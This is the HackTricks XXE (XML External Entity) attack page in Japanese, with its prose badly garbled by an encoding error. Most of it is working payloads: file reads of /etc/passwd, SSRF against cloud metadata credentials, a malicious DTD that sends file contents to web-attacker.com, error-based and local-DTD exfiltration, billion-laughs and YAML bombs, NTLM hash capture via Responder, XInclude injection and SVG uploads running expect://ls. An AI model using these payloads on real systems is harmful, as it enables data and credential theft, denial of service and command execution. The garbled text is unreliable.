42 KiB
XXE - XEE - XML External Entity
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
{% embed url="https://websec.nl/" %}
XMLã®åºæ¬
XMLã¯ããŒã¿ã®ä¿åãšèŒžéã®ããã«èšèšãããããŒã¯ã¢ããèšèªã§ãããèšè¿°çã«ååä»ããããã¿ã°ã䜿çšããæè»ãªæ§é ãç¹åŸŽãšããŠããŸããXMLã¯ããããããå®çŸ©ãããã¿ã°ã®ã»ããã«å¶éãããªãç¹ã§HTMLãšã¯ç°ãªããŸããJSONã®å°é ã«äŒŽããXMLã®éèŠæ§ã¯äœäžããŠããŸãããAJAXæè¡ã«ãããåæã®åœ¹å²ã¯ãããŸããã
- ãšã³ãã£ãã£ã«ããããŒã¿è¡šçŸ: XMLã®ãšã³ãã£ãã£ã¯ã
<
ã>
ã®ãããªç¹æ®æåãå«ãããŒã¿ã®è¡šçŸãå¯èœã«ãããããã¯XMLã®ã¿ã°ã·ã¹ãã ãšã®è¡çªãé¿ããããã«<
ã>
ã«å¯Ÿå¿ããŸãã - XMLèŠçŽ ã®å®çŸ©: XMLã¯èŠçŽ ã®åãå®çŸ©ããããšãå¯èœã«ããèŠçŽ ãã©ã®ããã«æ§é åãããã©ã®ãããªå 容ãå«ãããšãã§ããããæŠèª¬ããŸããå 容ã®çš®é¡ã¯ãä»»æã®ã¿ã€ãããç¹å®ã®åèŠçŽ ãŸã§ããŸããŸã§ãã
- ææžåå®çŸ© (DTD): DTDã¯XMLã«ãããŠææžã®æ§é ãšå«ãããšãã§ããããŒã¿ã®åãå®çŸ©ããããã«éèŠã§ããDTDã¯å éšãå€éšããŸãã¯ãã®çµã¿åããã§ãããææžã®ãã©ãŒããããšæ€èšŒæ¹æ³ãã¬ã€ãããŸãã
- ã«ã¹ã¿ã ããã³å€éšãšã³ãã£ãã£: XMLã¯ãæè»ãªããŒã¿è¡šçŸã®ããã«DTDå
ã§ã«ã¹ã¿ã ãšã³ãã£ãã£ã®äœæããµããŒãããŸããURLã§å®çŸ©ãããå€éšãšã³ãã£ãã£ã¯ãç¹ã«XMLå€éšãšã³ãã£ãã£ïŒXXEïŒæ»æã®æèã§ã»ãã¥ãªãã£äžã®æžå¿µãåŒãèµ·ãããŸããããã¯ãXMLããŒãµãŒãå€éšããŒã¿ãœãŒã¹ãåŠçããæ¹æ³ãæªçšããŸã:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
- ãã©ã¡ãŒã¿ãšã³ãã£ãã£ã«ããXXEæ€åº: ç¹ã«åŸæ¥ã®æ¹æ³ãããŒãµãŒã®ã»ãã¥ãªãã£å¯Ÿçã«ãã倱æããå ŽåãXXEè匱æ§ãæ€åºããããã«XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ãå©çšã§ããŸãããããã®ãšã³ãã£ãã£ã¯ãDNSã«ãã¯ã¢ãããHTTPãªã¯ãšã¹ããå¶åŸ¡ããããã¡ã€ã³ã«ããªã¬ãŒãããªã©ã®åž¯åå€æ€åºæè¡ãå¯èœã«ããè匱æ§ã確èªããŸãã
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
äž»ãªæ»æ
æ°ãããšã³ãã£ãã£ãã¹ã
ãã®æ»æã§ã¯ãã·ã³ãã«ãªæ°ãããšã³ãã£ãã£å®£èšãæ©èœããŠãããã©ããããã¹ãããŸãã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
ãã¡ã€ã«ãèªã
/etc/passwd
ãç°ãªãæ¹æ³ã§èªã¿åã£ãŠã¿ãŸããããWindowsã®å Žåã¯ãC:\windows\system32\drivers\etc\hosts
ãèªã¿åã£ãŠã¿ãŠãã ããã
ãã®æåã®ã±ãŒã¹ã§ã¯ãSYSTEM "**file:///**etc/passwd" ãæ©èœããããšã«æ³šæããŠãã ããã
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
ãã®2çªç®ã®ã±ãŒã¹ã¯ããŠã§ããµãŒããŒãPHPã䜿çšããŠããå Žåã«ãã¡ã€ã«ãæœåºããã®ã«åœ¹ç«ã¡ãŸãïŒPortswiggerã®ã©ãã§ã¯ãªãå ŽåïŒã
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
ãã®ç¬¬äžã®ã±ãŒã¹ã§ã¯ãElement stockCheck
ãANYãšããŠå®£èšããŠããããšã«æ³šæããŠãã ããã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
ãã£ã¬ã¯ããªãªã¹ã
Java ããŒã¹ã®ã¢ããªã±ãŒã·ã§ã³ã§ã¯ãXXEãä»ã㊠ãã£ã¬ã¯ããªã®å 容ããªã¹ããã ããšãå¯èœãªå ŽåããããŸãããã€ããŒãã¯æ¬¡ã®ããã«ãªããŸãïŒãã¡ã€ã«ã®ä»£ããã«ãã£ã¬ã¯ããªãèŠæ±ããã ãã§ãïŒïŒ
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
XXEã䜿çšããŠãã¯ã©ãŠãå ã®SSRFãæªçšããããšãã§ããŸãã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF
以åã«ã³ã¡ã³ãããæè¡ã䜿çšãããšããµãŒããŒãããªããå¶åŸ¡ãããµãŒããŒã«ã¢ã¯ã»ã¹ããŠããããšã瀺ãããšãã§ããŸãããããããããæ©èœããªãå ŽåãXMLãšã³ãã£ãã£ãèš±å¯ãããŠããªãå¯èœæ§ããããŸãããã®å Žåã¯ãXMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ã䜿çšããŠã¿ãããšãã§ããŸãïŒ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
"Blind" SSRF - å€éšåž¯åå€ã§ã®ããŒã¿æœåº
ãã®å ŽåããµãŒããŒã«æªæã®ãããã€ããŒããæã€æ°ããDTDãèªã¿èŸŒãŸããHTTPãªã¯ãšã¹ããä»ããŠãã¡ã€ã«ã®å 容ãéä¿¡ãããŸãïŒè€æ°è¡ã®ãã¡ã€ã«ã®å Žåã¯ãäŸãã°ãã®åºæ¬ãµãŒããŒã䜿çšããŠ_ftp://_çµç±ã§æœåºãè©Šã¿ãããšãã§ããŸãxxe-ftp-server.rbïŒããã®èª¬æ㯠Portswiggers lab hereã«åºã¥ããŠããŸãã
äžããããæªæã®ããDTDã§ã¯ãããŒã¿ãæœåºããããã«äžé£ã®æé ãå®è¡ãããŸãïŒ
æªæã®ããDTDã®äŸïŒ
æ§é ã¯æ¬¡ã®ããã«ãªããŸãïŒ
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
The steps executed by this DTD include:
- Parameterãšã³ãã£ãã£ã®å®çŸ©:
- XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£
%file
ãäœæããã/etc/hostname
ãã¡ã€ã«ã®å 容ãèªã¿åããŸãã - å¥ã®XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£
%eval
ãå®çŸ©ãããŸããããã¯åçã«æ°ããXMLãã©ã¡ãŒã¿ãšã³ãã£ãã£%exfiltrate
ã宣èšããŸãã%exfiltrate
ãšã³ãã£ãã£ã¯ãæ»æè ã®ãµãŒããŒã«HTTPãªã¯ãšã¹ããè¡ããURLã®ã¯ãšãªæååå ã§%file
ãšã³ãã£ãã£ã®å 容ãæž¡ãããã«èšå®ãããŠããŸãã
- ãšã³ãã£ãã£ã®å®è¡:
%eval
ãšã³ãã£ãã£ãå©çšããã%exfiltrate
ãšã³ãã£ãã£ã®åç宣èšãå®è¡ãããŸãã- 次ã«
%exfiltrate
ãšã³ãã£ãã£ã䜿çšãããæå®ãããURLã«ãã¡ã€ã«ã®å 容ãå«ãHTTPãªã¯ãšã¹ããããªã¬ãŒãããŸãã
æ»æè
ã¯ããã®æªæã®ããDTDãèªåã®ç®¡çäžã«ãããµãŒããŒã«ãã¹ãããéåžžã¯http://web-attacker.com/malicious.dtd
ã®ãããªURLã§æäŸããŸãã
XXEãã€ããŒã: è匱ãªã¢ããªã±ãŒã·ã§ã³ãæªçšããããã«ãæ»æè ã¯XXEãã€ããŒããéä¿¡ããŸã:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
ãã®ãã€ããŒãã¯ãXMLãã©ã¡ãŒã¿ãšã³ãã£ãã£%xxe
ãå®çŸ©ããDTDå
ã«çµã¿èŸŒã¿ãŸããXMLããŒãµãŒã«ãã£ãŠåŠçããããšããã®ãã€ããŒãã¯æ»æè
ã®ãµãŒããŒããå€éšDTDãååŸããŸããããŒãµãŒã¯ãã®åŸãã€ã³ã©ã€ã³ã§DTDã解éããæªæã®ããDTDã«èšèŒãããæé ãå®è¡ãã/etc/hostname
ãã¡ã€ã«ãæ»æè
ã®ãµãŒããŒã«æµåºãããŸãã
ãšã©ãŒããŒã¹ïŒå€éšDTDïŒ
ãã®å ŽåããµãŒããŒããã¡ã€ã«ã®å 容ããšã©ãŒã¡ãã»ãŒãžå ã«è¡šç€ºããæªæã®ããDTDãèªã¿èŸŒãããã«ããŸãïŒããã¯ãšã©ãŒã¡ãã»ãŒãžãèŠããå Žåã«ã®ã¿æå¹ã§ãïŒã ããããã®äŸã
æªæã®ããå€éšææžåå®çŸ©ïŒDTDïŒã䜿çšããŠã/etc/passwd
ãã¡ã€ã«ã®å
容ãæããã«ããXML解æãšã©ãŒã¡ãã»ãŒãžãããªã¬ãŒã§ããŸããããã¯ä»¥äžã®æé ã§å®çŸãããŸãïŒ
file
ãšããååã®XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ãå®çŸ©ããã/etc/passwd
ãã¡ã€ã«ã®å 容ãå«ãŸããŸããeval
ãšããååã®XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ãå®çŸ©ãããerror
ãšããå¥ã®XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ã®åç宣èšãçµã¿èŸŒã¿ãŸãããã®error
ãšã³ãã£ãã£ã¯è©äŸ¡ããããšãååšããªããã¡ã€ã«ãèªã¿èŸŒãããšãããã®ååãšããŠfile
ãšã³ãã£ãã£ã®å 容ãçµã¿èŸŒã¿ãŸããeval
ãšã³ãã£ãã£ãåŒã³åºãããerror
ãšã³ãã£ãã£ã®åç宣èšãè¡ãããŸããerror
ãšã³ãã£ãã£ã®åŒã³åºãã¯ãååšããªããã¡ã€ã«ãèªã¿èŸŒãããšãã/etc/passwd
ãã¡ã€ã«ã®å 容ããã¡ã€ã«åã®äžéšãšããŠå«ããšã©ãŒã¡ãã»ãŒãžãçæããŸãã
æªæã®ããå€éšDTDã¯ã以äžã®XMLã§åŒã³åºãããšãã§ããŸãïŒ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
å®è¡æã«ããŠã§ããµãŒããŒã®å¿çã«ã¯/etc/passwd
ãã¡ã€ã«ã®å
容ã衚瀺ãããšã©ãŒã¡ãã»ãŒãžãå«ãŸããã¹ãã§ãã
å€éšDTDã¯ã1ã€ã®ãšã³ãã£ãã£ã2çªç®ã®ãšã³ãã£ãã£ïŒeval
ïŒã®äžã«å«ããããšãèš±å¯ããŸãããå
éšDTDã§ã¯çŠæ¢ãããŠããŸãããããã£ãŠãå€éšDTDã䜿çšããªãéãïŒéåžžïŒããšã©ãŒã匷å¶ããããšã¯ã§ããŸããã
ãšã©ãŒããŒã¹ïŒã·ã¹ãã DTDïŒ
ã§ã¯ãã¢ãŠããªããã³ãã®çžäºäœçšããããã¯ãããŠããå Žåã®ç²ç®çãªXXEè匱æ§ã¯ã©ãã§ããããïŒ
XMLèšèªä»æ§ã®æãç©Žã¯ãããã¥ã¡ã³ãã®DTDãå éšããã³å€éšå®£èšãæ··åããéã«ãšã©ãŒã¡ãã»ãŒãžãéããŠæ©å¯ããŒã¿ãé²åºãããããšãã§ããŸãããã®åé¡ã¯ãå€éšã§å®£èšããããšã³ãã£ãã£ã®å éšåå®çŸ©ãå¯èœã«ãããšã©ãŒã«åºã¥ãXXEæ»æã®å®è¡ãä¿é²ããŸãããã®ãããªæ»æã¯ãå€éšDTDã§å ã 宣èšãããXMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ã®åå®çŸ©ãå©çšããŸãããµãŒããŒã«ãã£ãŠã¢ãŠããªããã³ãæ¥ç¶ããããã¯ãããŠããå Žåãæ»æè ã¯æ»æãå®è¡ããããã«ããŒã«ã«DTDãã¡ã€ã«ã«äŸåããæ©å¯æ å ±ãæããã«ããããã«è§£æãšã©ãŒãåŒãèµ·ããããšãç®æããŸãã
ãµãŒããŒã®ãã¡ã€ã«ã·ã¹ãã ã«/usr/local/app/schema.dtd
ã«DTDãã¡ã€ã«ãå«ãŸããŠãããcustom_entity
ãšãããšã³ãã£ãã£ãå®çŸ©ããŠããã·ããªãªãèããŠã¿ãŸããããæ»æè
ã¯ã次ã®ããã«ãã€ããªããDTDãæåºããããšã§ã/etc/passwd
ãã¡ã€ã«ã®å
容ãæããã«ããXML解æãšã©ãŒãåŒãèµ·ããããšãã§ããŸãã
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
The outlined steps are executed by this DTD:
- XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£
local_dtd
ã®å®çŸ©ã«ã¯ããµãŒããŒã®ãã¡ã€ã«ã·ã¹ãã äžã«ããå€éšDTDãã¡ã€ã«ãå«ãŸããŠããŸãã - å€éšDTDã§å
ã
å®çŸ©ãããŠãã
custom_entity
XMLãã©ã¡ãŒã¿ãšã³ãã£ãã£ã®åå®çŸ©ãè¡ããããšã©ãŒã«åºã¥ãXXEãšã¯ã¹ããã€ããã«ãã»ã«åããŸãããã®åå®çŸ©ã¯ãããŒã¹ãšã©ãŒãåŒãèµ·ããã/etc/passwd
ãã¡ã€ã«ã®å 容ãé²åºãããããšãç®çãšããŠããŸãã local_dtd
ãšã³ãã£ãã£ã䜿çšããããšã§ãå€éšDTDãåŒã³åºãããæ°ãã«å®çŸ©ãããcustom_entity
ãå«ãŸããŸãããã®äžé£ã®ã¢ã¯ã·ã§ã³ã«ããããšã¯ã¹ããã€ããçããšã©ãŒã¡ãã»ãŒãžãçºçããŸãã
å®äžçã®äŸ: GNOMEãã¹ã¯ãããç°å¢ã䜿çšããŠããã·ã¹ãã ã§ã¯ã/usr/share/yelp/dtd/docbookx.dtd
ã«ISOamso
ãšãããšã³ãã£ãã£ãå«ãDTDãããããšããããããŸãã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
ãã®æè¡ã¯å éšDTDã䜿çšããããããŸãæå¹ãªãã®ãèŠã€ããå¿ èŠããããŸãããããè¡ãã«ã¯ããµãŒããŒã䜿çšããŠããã®ãšåãOS / ãœãããŠã§ã¢ãã€ã³ã¹ããŒã«ããããã€ãã®ããã©ã«ãDTDãæ€çŽ¢ããããã·ã¹ãã å ã®ããã©ã«ãDTDã®ãªã¹ããååŸãããããã®äžã«ååšãããã®ããããã確èªããããšãã§ããŸãïŒ
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
For more information check https://portswigger.net/web-security/xxe/blind
ã·ã¹ãã å ã®DTDãèŠã€ãã
以äžã®çŽ æŽãããGitHubãªããžããªã§ã¯ãã·ã¹ãã ã«ååšããå¯èœæ§ã®ããDTDã®ãã¹ãèŠã€ããããšãã§ããŸãïŒ
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
ããã«ã被害è ã·ã¹ãã ã®Dockerã€ã¡ãŒãžãããå Žåãåããªããžããªã®ããŒã«ã䜿çšããŠãã€ã¡ãŒãžãã¹ãã£ã³ããã·ã¹ãã å ã«ååšããDTDã®ãã¹ãèŠã€ããããšãã§ããŸããæ¹æ³ã«ã€ããŠã¯GitHubã®Readmeããèªã¿ãã ããã
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
XXE via Office Open XML Parsers
ãã®æ»æã®è©³çŽ°ãªèª¬æã«ã€ããŠã¯ã**ãã®çŽ æŽãããæçš¿ ã®ç¬¬äºéšã確èªããŠãã ããã
Microsoft Officeææžã®ã¢ããããŒãæ©èœã¯å€ãã®ãŠã§ãã¢ããªã±ãŒã·ã§ã³ã§æäŸãããŠããããããã®ææžããç¹å®ã®è©³çŽ°ãæœåºããŸããããšãã°ããŠã§ãã¢ããªã±ãŒã·ã§ã³ã¯ãŠãŒã¶ãŒãXLSX圢åŒã®ã¹ãã¬ããã·ãŒããã¢ããããŒãããããšã§ããŒã¿ãã€ã³ããŒãããããšãèš±å¯ããå ŽåããããŸããããŒãµãŒãã¹ãã¬ããã·ãŒãããããŒã¿ãæœåºããããã«ã¯ãå¿ ç¶çã«å°ãªããšã1ã€ã®XMLãã¡ã€ã«ã解æããå¿ èŠããããŸãã
ãã®è匱æ§ããã¹ãããã«ã¯ãXXEãã€ããŒããå«ãMicrosoft Officeãã¡ã€ã«ãäœæããå¿ èŠããããŸããæåã®ã¹ãããã¯ãææžã解åã§ãã空ã®ãã£ã¬ã¯ããªãäœæããããšã§ãã
ææžã解åããããã./unzipped/word/document.xml
ã«ããXMLãã¡ã€ã«ãéãã奜ã¿ã®ããã¹ããšãã£ã¿ïŒäŸãã°vimïŒã§ç·šéããŸããXMLã¯ãHTTPãªã¯ãšã¹ãã§å§ãŸãããšãå€ãåžæããXXEãã€ããŒããå«ãããã«ä¿®æ£ããå¿
èŠããããŸãã
ä¿®æ£ãããXMLè¡ã¯ã2ã€ã®ã«ãŒãXMLãªããžã§ã¯ãã®éã«æ¿å ¥ããå¿ èŠããããŸãããªã¯ãšã¹ãçšã®ã¢ãã¿å¯èœãªURLã«çœ®ãæããããšãéèŠã§ãã
æåŸã«ããã¡ã€ã«ãå§çž®ããŠæªæã®ããpoc.docxãã¡ã€ã«ãäœæã§ããŸãã以åã«äœæãããunzippedããã£ã¬ã¯ããªããã次ã®ã³ãã³ããå®è¡ããå¿ èŠããããŸãïŒ
ä»ãäœæãããã¡ã€ã«ãæœåšçã«è匱ãªãŠã§ãã¢ããªã±ãŒã·ã§ã³ã«ã¢ããããŒãã§ããBurp Collaboratorã®ãã°ã«ãªã¯ãšã¹ãã衚瀺ãããããšãæåŸ ã§ããŸãã
Jar: protocol
jarãããã³ã«ã¯Javaã¢ããªã±ãŒã·ã§ã³å
ã§ã®ã¿ã¢ã¯ã»ã¹å¯èœã§ããããã¯ãPKZIPã¢ãŒã«ã€ãïŒäŸïŒ.zip
ã.jar
ãªã©ïŒå
ã®ãã¡ã€ã«ã¢ã¯ã»ã¹ãå¯èœã«ããããã«èšèšãããŠãããããŒã«ã«ãã¡ã€ã«ãšãªã¢ãŒããã¡ã€ã«ã®äž¡æ¹ã«å¯Ÿå¿ããŠããŸãã
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
{% hint style="danger" %} PKZIPãã¡ã€ã«å ã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããããšã¯ãã·ã¹ãã DTDãã¡ã€ã«ãä»ããŠXXEãæªçšããã®ã«éåžžã«äŸ¿å©ã§ãã ãã®ã»ã¯ã·ã§ã³ã確èªããŠãã·ã¹ãã DTDãã¡ã€ã«ãæªçšããæ¹æ³ãåŠãã§ãã ãã. {% endhint %}
PKZIPã¢ãŒã«ã€ãå ã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ããããã»ã¹ã¯ãããã€ãã®ã¹ããããå«ã¿ãŸãïŒ
- æå®ãããå Žæããzipã¢ãŒã«ã€ããããŠã³ããŒãããããã«HTTPãªã¯ãšã¹ããè¡ãããŸããäŸãã°ã
https://download.website.com/archive.zip
ã®ããã«ã - ã¢ãŒã«ã€ããå«ãHTTPã¬ã¹ãã³ã¹ã¯ãéåžž
/tmp/...
ã®ãããªå Žæã«äžæçã«ä¿åãããŸãã - ã¢ãŒã«ã€ããæœåºããããã®å 容ã«ã¢ã¯ã»ã¹ããŸãã
- ã¢ãŒã«ã€ãå
ã®ç¹å®ã®ãã¡ã€ã«ã
file.zip
ãèªã¿åãããŸãã - æäœåŸããã®ããã»ã¹äžã«äœæãããäžæãã¡ã€ã«ã¯åé€ãããŸãã
ãã®ããã»ã¹ã®2çªç®ã®ã¹ãããã§äžæããããã®èå³æ·±ããã¯ããã¯ã¯ãã¢ãŒã«ã€ããã¡ã€ã«ãæäŸããéã«ãµãŒããŒæ¥ç¶ãç¡æéã«éãããŸãŸã«ããããšã§ãããã®ç®çã®ããã«ããã®ãªããžããªã§å©çšå¯èœãªããŒã«ã䜿çšã§ããŸããããã«ã¯ãPythonãµãŒããŒïŒslow_http_server.py
ïŒãšJavaãµãŒããŒïŒslowserver.jar
ïŒãå«ãŸããŸãã
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
{% hint style="danger" %} äžæãã£ã¬ã¯ããªã«ãã¡ã€ã«ãæžã蟌ãããšã¯ããã¹ãã©ããŒãµã«ã«é¢ããå¥ã®è匱æ§ããšã¹ã«ã¬ãŒãããã®ã«åœ¹ç«ã¡ãŸãïŒããŒã«ã«ãã¡ã€ã«ã€ã³ã¯ã«ãŒãããã³ãã¬ãŒãã€ã³ãžã§ã¯ã·ã§ã³ãXSLT RCEããã·ãªã¢ã©ã€ãºãªã©ïŒã {% endhint %}
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
ããªãªã³ã©ãæ»æ
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Yamlæ»æ
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
äºæ¬¡ççºæ»æ
NTMLã®ååŸ
Windowsãã¹ãã§ã¯ãresponder.pyãã³ãã©ãŒãèšå®ããããšã§ããŠã§ããµãŒããŒãŠãŒã¶ãŒã®NTMLããã·ã¥ãååŸããããšãå¯èœã§ãã
Responder.py -I eth0 -v
ãããŠã次ã®ãªã¯ãšã¹ããéä¿¡ããããšã«ãã£ãŠ
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
Then you can try to crack the hash using hashcat
é ããXXEã®åºçŸ
XInclude
ãµãŒããŒåŽã®XMLããã¥ã¡ã³ãã«ã¯ã©ã€ã¢ã³ãããŒã¿ãçµ±åããéãããã¯ãšã³ãã®SOAPãªã¯ãšã¹ãã®ããã«ãXMLæ§é ã«å¯ŸããçŽæ¥çãªå¶åŸ¡ã¯ãã°ãã°å¶éãããDOCTYPE
èŠçŽ ã®å€æŽã«å¯Ÿããå¶çŽã«ããåŸæ¥ã®XXEæ»æã劚ããããŸããããããXInclude
æ»æã¯ãXMLããã¥ã¡ã³ãã®ä»»æã®ããŒã¿èŠçŽ å
ã«å€éšãšã³ãã£ãã£ãæ¿å
¥ããããšãå¯èœã«ããããšã§è§£æ±ºçãæäŸããŸãããã®æ¹æ³ã¯ããµãŒããŒçæã®XMLããã¥ã¡ã³ãå
ã®ããŒã¿ã®äžéšã®ã¿ãå¶åŸ¡ã§ããå Žåã§ãå¹æçã§ãã
XInclude
æ»æãå®è¡ããã«ã¯ãXInclude
åå空éã宣èšããæå³ããå€éšãšã³ãã£ãã£ã®ãã¡ã€ã«ãã¹ãæå®ããå¿
èŠããããŸãã以äžã¯ããã®ãããªæ»æãã©ã®ããã«æ§æããããã®ç°¡æœãªäŸã§ã:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Check https://portswigger.net/web-security/xxe for more info!
SVG - ãã¡ã€ã«ã¢ããããŒã
ãŠãŒã¶ãŒãç¹å®ã®ã¢ããªã±ãŒã·ã§ã³ã«ã¢ããããŒããããã¡ã€ã«ã¯ããµãŒããŒã§åŠçãããéã«ãXMLãŸãã¯XMLãå«ããã¡ã€ã«åœ¢åŒã®åãæ±ãã«ãããè匱æ§ãæªçšããå¯èœæ§ããããŸããäžè¬çãªãã¡ã€ã«åœ¢åŒã§ãããªãã£ã¹ææžïŒDOCXïŒãç»åïŒSVGïŒã¯ãXMLã«åºã¥ããŠããŸãã
ãŠãŒã¶ãŒãç»åãã¢ããããŒããããšããããã®ç»åã¯ãµãŒããŒåŽã§åŠçãŸãã¯æ€èšŒãããŸããPNGãJPEGãªã©ã®åœ¢åŒãæåŸ ããã¢ããªã±ãŒã·ã§ã³ã§ãã£ãŠãããµãŒããŒã®ç»ååŠçã©ã€ãã©ãªã¯SVGç»åããµããŒãããŠããå¯èœæ§ããããŸããSVGã¯XMLããŒã¹ã®åœ¢åŒã§ãããããæ»æè ãæªæã®ããSVGç»åãæåºããããšã§ããµãŒããŒãXXEïŒXMLå€éšãšã³ãã£ãã£ïŒè匱æ§ã«ãããããšãã§ããŸãã
以äžã«ãã®ãããªæ»æã®äŸã瀺ããŸããæªæã®ããSVGç»åãã·ã¹ãã ãã¡ã€ã«ãèªã¿åãããšããŠããŸãïŒ
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
å¥ã®æ¹æ³ã¯ãPHPã®"expect"ã©ãããŒãéããŠã³ãã³ããå®è¡ããããšããããšã§ã:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
